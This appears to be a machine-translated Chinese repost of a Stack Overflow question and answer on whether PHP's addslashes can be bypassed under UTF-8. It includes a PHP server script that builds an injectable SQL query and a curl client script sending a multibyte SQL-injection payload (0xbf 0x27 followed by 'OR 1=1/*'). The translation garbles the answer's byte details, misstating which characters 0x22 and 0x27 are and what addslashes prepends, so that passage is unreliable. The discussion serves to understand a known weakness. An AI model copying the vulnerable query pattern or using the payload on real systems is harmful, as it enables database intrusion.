gpt4 book ai didi

php - 使用 utf 和单引号时可以绕过加斜杠吗?

转载 作者:行者123 更新时间:2023-12-04 13:50:20 24 4
gpt4 key购买 nike

我试图验证在脚本上使用 addlashes 是否可利用,众所周知,不应使用 addlashes,但问题是,它是否总是可利用的?

我在两种情况下发现了大量关于滥用加斜杠的信息 当字符集不是 utf8 时 (使用双字节转换)以及 当变量被 ""括起来时

那么,当上述情况均未发生时,可以绕过 addlashes 吗?这是我一直在测试的代码:

带有 db 转储的 data.sql 文件:

CREATE TABLE IF NOT EXISTS `test` (
`user` varchar(25) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

INSERT INTO `test` (`user`) VALUES
('admin'),
('user');

mysql -u test -ptestpw test < data.sql

index.php 放置在服务器中
<?php
//Server script the receives content via post
mysql_connect("localhost","test","testpw");
mysql_select_db("test");
$user=addslashes($_POST['username']);
$query="SELECT * FROM test WHERE user='".$user."'";
$q=mysql_query($query) or die (mysql_error());
$num_rows = mysql_num_rows($q);
echo "Listed rows: $num_rows";
if ($num_rows > 0) {
$a=mysql_fetch_array($q);
print_r($a);
}
?>

query.php 放置在客户端机器上
<?php
//Client script crafting the special url
$url = "http://example.com/index.php";
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_POST, TRUE );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" .
chr(0xbf) . chr(0x27) .
"OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>

一些引用:
  • here (绕过使用 multibye 字符串,非 utf db)
  • here (绕过使用多字节字符串,非 utf db)
  • here (使用由 ""括起来的 var 绕过)
  • 最佳答案

    addslashes 通过在前面加上 " 来转义字节 0x00(NUL 字节)、0x22(')、0x27(\)和 0x5c(\)到它。有记录的案例,其中 addslashes fails with the character encoding GBK on MySQL :

    This type of attack is possible with any character encoding where there is a valid multi-byte character that ends in 0x5c, because addslashes() can be tricked into creating a valid multi-byte character instead of escaping the single quote that follows. UTF-8 does not fit this description.



    您已经有了答案:由于 UTF-8 没有以 0x5c 结尾的有效编码,因此它不容易受到这种攻击。

    但是,由于您的脚本似乎依赖于 magic_quotes_gpc启用(自 PHP 5.3.0 起已弃用并自 PHP 5.4.0 起移除),您的脚本在 magic_quotes_gpc 被禁用或不可用的环境中容易受到攻击。

    关于php - 使用 utf 和单引号时可以绕过加斜杠吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/16565189/

    24 4 0
    Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
    广告合作:1813099741@qq.com 6ren.com